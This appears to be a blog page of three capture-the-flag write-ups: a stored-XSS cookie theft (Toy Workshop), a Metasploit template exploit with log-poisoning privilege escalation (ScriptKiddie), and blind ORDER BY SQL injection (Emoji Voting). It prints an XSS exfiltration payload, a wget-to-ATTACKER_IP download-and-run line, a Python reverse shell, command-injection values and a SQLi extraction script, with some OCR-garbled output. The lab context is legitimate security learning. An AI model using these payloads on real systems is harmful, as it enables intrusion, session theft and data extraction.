HTB Christmas CTF – Toy Workshop


Toy Workshop was a 1 star rated ‘Web’ challenge from the HackTheBox “Cyber Santa is Coming to Town” CTF. This was an interesting challenge, with the flag coming from a blind stored-XSS which led to the leakage of the flag from a cookie value in a Puppeteer instance.

After that mouthful, lets take a look at my solution to this problem.

Tooling Used

I made use of a number of new tools for this challenge. Rather than spinning up an Azure VM, I wanted to try and use free online resources. In particular, I used:


I performed initial recon with my go-to combination of nikto -host x.x.x.x and gobuster dir -u http://x.x.x.x. These returned nothing interesting, so I moved to digging through the resources on the site. At this point I remembered that we can download the files for the server from the CTF site. This reveals a POST request to /api/submit.

Initially, I thought the vulnerability would be within the logic for the /queries endpoint. Due to this checking for a localhost address, I suspected that spoofing the X-Forwarded-For header could allow this check to be bypassed. As Express is known to have issues when relying on the value from the req.ip parameter.

After many attempts, I decided to look elsewhere as I wasnt making progress. After a short search, I discovered the bot.js file, which had some unusual behaviour.


The bot.js file uses puppeteer to load the site. As shown on line 24 of the file, the flag is included in the cookies when it loads the site. My initial thought here was to either obtain command execution or a reverse shell. With no obvious routes to achieve this, I decided to try and inject HTML into the web page.

As you can see from the logic of the server, it uploads our data to the database and then queries it using puppeteer. This means we could upload HTML and it should be processed by the bot. The code for the database actions are shown below:

Canary Tokens

To test this theory, I created a CanaryToken web bug to test that I could perform two different actions.

  • The ability to inject HTML into the /queries endpoint
  • The server can reach out to an arbitrary web resource (i.e no firewalls)

Using a temporary email address, I registered this token. I then created a basic payload to inject an image into the webpage. Using Burp Suite I was able to insert it to the database.

This then returned a hit to my temporary mailbox, as shown below.

Final Payload

To convert this into a working payload, I decided to redirect the /queries endpoint to a page I controlled. This allowed me to POST the value of the cookies out. In the end, my complete payload for /api/submit was as follows:

    "query":"<html><script>document.location=\" cookie=\"+document.cookie</script></html>"

In we can view the contents of the cookies:

Revealing a flag of HTB{3v1l_3lv3s_4r3_r1s1ng_up!} for Toy Workshop .

HackTheBox ScriptKiddie Walkthough

ScriptKiddie was an Easy rated Linux machine, which involved exploiting a vulnerability within MetaSploit, then gaining access to the pwn user and abusing a sudo misconfiguration.

Getting A Shell


Initial nMap scans showed a very simple box, with just SSH and port 5000 open. I personally find the -sV -A flags tend to reveal the most useful information when scanning. The scan shows that port 5000 is most likely a Python-based webserver.

Machine generated alternative text:
(kali@ kali) - 
$ nmap -sv -A 
Starting Nmap 7.91 ( ) at 2021-04-16 11:26 BST 
Nmap scan report for 
Host is up (0.043s latency). 
Not shown: 998 closed ports 
OpenSSH 8.2p1 Ubuntu 4ubuntuø.1 (Ubuntu Linux; 
open ssh 
1 2.0) 
3072 (RSA) 
256 (ECDSA) 
256 (ED25519) 
5000/tcp open http 
Werkzeug httpd 0.16.1 (python 3.8.5) 
http-server-header: Werkzeug/ø.16.1 python/3.8.5 
http-title: kld'5 h4ck3r tøø15 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 
Service detection performed. Please report any incorrect results at https://n 
Nmap done: 1 IP address (1 host up) scanned in 10.37 seconds
Scan results for the target

The site itself is an ‘script-kiddies’ website, allowing for nMap, SearchSploit and MetaSploit to be used from a web portal. Initially, I thought this might be an OS command injection vulnerability. Perhaps this could work by running an nMap scan along the lines of “ & whoami“. This didnt work though, showing there was likely something further to be exploited.

Machine generated alternative text:
scan top 100 ports on an ip 
ip: whoami 
My attempt at performing OS injection


Two things in the MetaSploit section caught my eye. First, you are able to include a template file – something I didn’t even know you could do in MetaSploit! Secondly, ‘Android’ was listed as a target, along with Windows and Linux. This seemed very odd, and led me to discover a CVE (CVE-2020-7384) relating to MetaSploit, template files and Android!

Luckily, there is exploit code for this within ExploitDB. This exploit will generate a malicious template, which will be executed on the target. To make my life easier, I decided to make this template retrieve a file from my HTTP server. This means I wont need to recompile the template for any small code tweaks – I can just update the file on my webserver. To do this, I changed the payload variable to be the following code:

payload = 'wget "http://ATTACKER_IP/payload" -O /tmp/payload && chmod +x /tmp/payload && ./tmp/payload'

This code will download a ‘payload‘ file from my HTTP server, make it executable and then execute it.

Now I could begin to create my payload. At this point I had several issues with Kali not finding the jarsigner binary. This is caused by using JRE (Java Runtime Environment) and not JDK (Java Development Kit). To fix this, run sudo apt install -y default-jdk to install JDK (Source).

Successfully compiling the malicious template file.

I then opted to use a basic Python3 reverse shell as our payload file. This then returned a shell from the host after specifying our IP in the LHOST field.

venom it up 
. gen rev tcp meterpreter bins 
I host: 
template file (optional): 
Setting LHOST and the template!
listening on [any] 8888 
connect to [] from 
/bin/sh: e: can't access ttv; 
job control turned off 
-rwxr-xr-x I kali kali 1830 Apr 
tsudol password for kali: 
serving HTTP on ø.ø.e.ø port se 
16 12. 
12 : 35. -" 
- [16/Apr/2e21 
- [16/Apr/2ø21 
.//e.ø.ø.ø:8ø/) . 
•GET 'payload HTTP/I.I• 2øø 
•GET 'payload HTTP/1 1 
•GET 'payload HTTP/I.I 
. • 200 
• 2øø
Shell returned from the server!

Privilege Escalation

At this point, we had access as the kid user, who unfortunately didn’t have the user flag in their directory! I moved LinuxSmartEnumeration onto the host and ran it initially on level 0, then on level 2 with specific flags.

Machine generated alternative text:
LSE Version: 
user ID: 
Home : 
Hostname : 
Distribution : 
./ -1 2 -p 0 -s 
If you know the current user password, write it here to check sudo privileges: 
-rw-r r 
/var/lib/gems/2.7. ø/bin : /usr/local/sbin : /usr/local/bin : /usr/sbin : /usr/bin : /sbin : /bin : /snap/bin 
5.4 .0-65-generic 
Ubuntu 20.04.1 LTS 
x86 64 
( users ) 
Are there other users in an administrative groups? 
• 4: syslog 
Other users with shell 
root: /root :/bin/bash 
: 1000 : kid : /home/kid : /bin/bash 
:: /home/pwn : /bin/bash 
( file system ) 
SSH files in home directories. 
1 kid kid 0 Apr 16 11:41 /home/kid/.ssh/authorized_keys 
Looking for GIT/SVN repositories. 
/opt/exploit-database/ . git 
/opt/exploitdb/ .git 
kidnscriptkiddie : /tmp$ 
Output of LSE, showing the pwn user.

I then moved to the kid users home directory, uploading my SSH key to gain a fully interactive shell as the kid user. Looking through the pwn users directory, the file stands out as being an area to target.

The file

In short, this file is reading in the hackers log file, then splitting it on any spaces using cut. Anything after the 2nd space (3rd item) is then put into the shell command on line 7, which is running an nMap scan. For instance, if we ran the following command it would poison the logs, then run whoami as the pwn user. Note that the semi-colon will end the nMap command and run whoami by itself.

echo "a a ; whoami" > /home/kid/logs/hackers && ./

We can then extend this to run a reverse shell, allowing us to gain code execution as the pwn user. I found the exploit code would often fail when combining the log poisoning and reverse shell, so I stored the shell in a separate file. To do this, I ran the following command to make a reverse shell file named ‘‘.

echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[\"/bin/sh\",\"-i\"]);'" >

I then ran the following command to poison the logs.

echo "a a ; cd /home/kid/ && ./ ;"> logs/hackers

Then run the file and you finally get a user shell!

Getting root

The first thing when I get a Linux shell, is to run sudo -l, as it is often an easy priv-esc! In this case, we can run MSFConsole as sudo, as shown below.

p 9999 
listening on (any] 9999 . 
connect to [le.10.14.671 from (UNKNOWN) [1ø.129.131.144] 48124 
/bin/sh: o: can't access tty; job control turned off 
$ whoami 
$ python3 —c ' import Pty; 
pwnascriptkiddie:/home/kid$ sudo -1 
sudo -I 
Matching Defaults entries for pm on scriptkiddie: 
env_reset, mail_badpass, 
/usr/locat/bin\ : /usr/sbin\ /usr/bin\ /sbin\ : /bin\ : /snap/bin 
User pm may run the following cMnands on scriptkiddie: 
(root) NOPASSWD: /opt/metasp10it-framework-6.ø.9/msfcons01e 
pwnOscriptkiddie : / home/ kid$
Output of sudo -l for the pwn user.

Running MSFConsole as sudo allows us to run commands on the host as root. Ensure that you run the command exactly as shown in the screenshot above, don’t try to just run msfconsole as it might not work!

In the spirit of OSCP, we can get a root shell by uploading another Python3 reverse shell. We can then run that from within MSFConsole and get a root shell back.

msf6 > cd /home/kid 
cd /home/kid 
ms.f.$ bash 
bash script. sh 
[i] exec: bash 
kali@ kali 
nc -nvlp 
listening on [any] 7777 
connect to [ from (UNKNOWN) [le.129.131.144J 53892 
A root reverse shell!

ScriptKiddie Summary

Overall, I really enjoyed ScriptKiddie as it had a very different focus to most other HTB boxes. The inclusion of having to move to the pwn user was a nice challenge as well! I would say this is fairly similar to machines in OSCP or Proving Grounds, so would be good practise ahead of the exam!

HTB Cyber Apocalypse – Emoji Voting Writeup

Emoji Voting was a 2-star rated ‘Web’ machine. The server was vulnerable to SQL injection, which allowed for the flag to be discovered. This was a fairly laborious process, as the SQL injection was after an ‘ORDER BY’ statement, which increased the complexity of exploiting it.

Pwning Emoji Voting

The website itself appears to be a simple voting system, with buttons to vote for various emoji’s. As with most of the HackTheBox machines, there was a file containing the files for the server. These files reveal that the flag is going to reside within a table beginning with ‘flag_

SQL statements to create the table to hold the flag file
SQL statements to create the table to hold the flag file

Reading the database.js file, it revealed 2 database functions which could be exploited, namely vote() and getEmojis(). After some initial testing, it was clear that the getEmojis function was the vulnerable endpoint.

The two database functions within database.js
The two database functions within database.js

Intercepting the traffic with Burp reveals that a request is made to the /api/list endpoint every 5 seconds (To update the current voting statistics). This endpoint then calls the getEmojis function, which takes the body of the request and uses it in the ORDER BY statement above.

Typically, exploiting a vulnerability like this would be fairly easy with a UNION command, or a sub-query. The following quote explains why this particular type of SQL injection is tricky to exploit:

Exploiting SQL injection in an ORDER BY clause is significantly different from most other cases. A database will not accept a UNION, WHERE, OR, or AND keyword at this point in the query. Exploitation requires the attacker to specify a nested query in place of the ORDER BY parameter.

Crafting an nested SQL statement

To exploit this, we can run a nested query after the ORDER BY clause. This allows us to compare one letter at a time, and slowly discover values within the database. This is exceptionally slow, but it is a viable method! Sending the following text to the /api/list endpoint: {"order":"(CASE WHEN 1==2 THEN id ELSE count END) DESC"}. This returned the emoji values ordered by the count value, showing we had successfully injected code into the SQL statement. The SQL engine had determined that 1==2 was false, and so it evaluated to count DESC, returning the data ordered by the count value descending.

Successfully injecting into the SQL statement
Successfully injecting into the SQL statement

Following a lot of troubleshooting, an SQL statement can be written to find the full name of the ‘flag table’. As the ‘flag table’ uses a randomised name, we need to query the sqlite_master table to determine its name. By using the process above, we know that a value is true if it returns data ordered by the id column, if it is false then it will be ordered by the count column. This query is as follows:

{"order":"(CASE WHEN (SELECT SUBSTR(name,1,1) FROM sqlite_master WHERE type ='table' AND name LIKE 'flag_%')=CHAR(1) THEN id ELSE count END) DESC"}

Using Python, we can rapidly query the API, and easily determine if we have found the correct letter for a given position. We do this by incrementing the value of the SUBSTR method and the CHAR value to cover the entire word. After doing this, we end up with the following script.

import requests,time

URL = ""

def make_request(position, value):
    request_data = {"order":f"(CASE WHEN (SELECT SUBSTR(name,{position},1) FROM sqlite_master WHERE type ='table' AND name LIKE 'flag%')=CHAR({value}) THEN id ELSE count END) DESC"}

    resp =, json=request_data)
    response_json_data = resp.json()

    if response_json_data[1]['id'] == 11:
        return True
        return False

for position in range(6,17):
    #For each position, try and determine the letter

    for hex_value in range(255):
        response = make_request(position, hex_value)

        if response:
            print(f"Char Position {position} = {hex_value} ({chr(hex_value)})")

Finding the flag table and Emoji Voting flag

After running this for a few minutes, we figure out the full name of the flag table, as being flag_e42009d78f, as shown below.

Discovering the name of the table containing the flag
Discovering the name of the table containing the flag

Now we know the name of the table, we can modify the request_data f-string value to query the flag column within the flag_e42009d78f table. This then changes to the following value:

request_data = {"order":f"(CASE WHEN (SELECT SUBSTR(flag,{position},1) FROM flag_e42009d78f)=CHAR({value}) THEN id ELSE count END) DESC"}

Running the Python script again, we figure out the final flag value is CHTB{order_me_this_juicy_info}. Overall, I really enjoyed playing through Emoji Voting. I felt I was quite good at SQL injection exploits, but this machine taught me a lot of new techniques! If you enjoyed this writeup, I have written up several other boxes at this link.

Discovering the full flag for Emoji Voting
Discovering the full flag for Emoji Voting